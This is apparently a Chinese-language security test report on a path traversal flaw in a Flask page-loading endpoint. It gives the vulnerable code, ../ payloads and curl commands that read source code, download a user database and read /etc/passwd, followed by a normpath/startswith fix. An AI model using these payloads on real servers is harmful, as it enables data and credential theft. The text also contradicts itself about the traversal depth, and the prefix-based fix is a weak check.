

文件包含漏洞报告

测试目标: Flask 动态页面加载功能

漏洞位置: GET /page?name=xxx

报告日期: 2026-07-09

漏洞概述

动态页面加载功能使用 `os.path.join("pages", name)` 拼接文件路径, 未对用户输入的 `../` 做任何过滤, 导致攻击者可读取系统任意文件。

漏洞代码

```
filepath = os.path.join(pages_dir, name)
if os.path.isfile(filepath):
    with open(filepath, "r") as f:
        content = f.read()
```

漏洞详情

#	漏洞	Payload	风险等级
1	源码泄露	?name=../app.py	高危
2	数据库下载	?name=../data/users.db	高危
3	系统文件读取	?name=../../../../etc/passwd	高危
4	模板文件读取	?name=../templates/base.html	中危

漏洞 1：源码泄露

```
curl "http://.../page?name=../app.py"
```

读取到 `app.py` 完整源码，包括 `secret_key = "dev-key-2025"`。

风险：攻击者获取密钥后可伪造 Session，获取所有接口权限。

漏洞 2：数据库下载

```
curl "http://.../page?name=../data/users.db" -o stolen.db
sqlite3 stolen.db "SELECT * FROM users;"
```

下载到 SQLite 数据库文件，包含所有用户的用户名和明文密码。

风险：全部用户凭据泄露。

漏洞 3：系统文件读取

```
curl "http://.../page?name=../../../../etc/passwd"
```

读取到系统用户列表。从 `process/pages/` 到根目录需要 6 层 `../`。

风险：可探测系统用户，为后续攻击提供信息。

漏洞 4：模板文件读取

```
curl "http://.../page?name=../templates/base.html"
```

风险：模板结构泄露，辅助攻击者寻找其他攻击面。

修复方案

使用 `os.path.normpath` 规范化路径，并通过 `startswith` 判断文件是否在允许目录内。

```
filepath = os.path.normpath(os.path.join(pages_dir, name))
if not filepath.startswith(os.path.normpath(pages_dir)):
    return render_template("index.html", page_content="<p>页面不存在</p>")
```

修复验证

测试项	Payload	修复前	修复后
源码泄露	../app.py	✗	✓ 拦截
数据库下载	../data/users.db	✗	✓ 拦截
系统文件	../../../../etc/passwd	✗	✓ 拦截
模板文件	../templates/base.html	✗	✓ 拦截
正常访问	help	✓	✓ 正常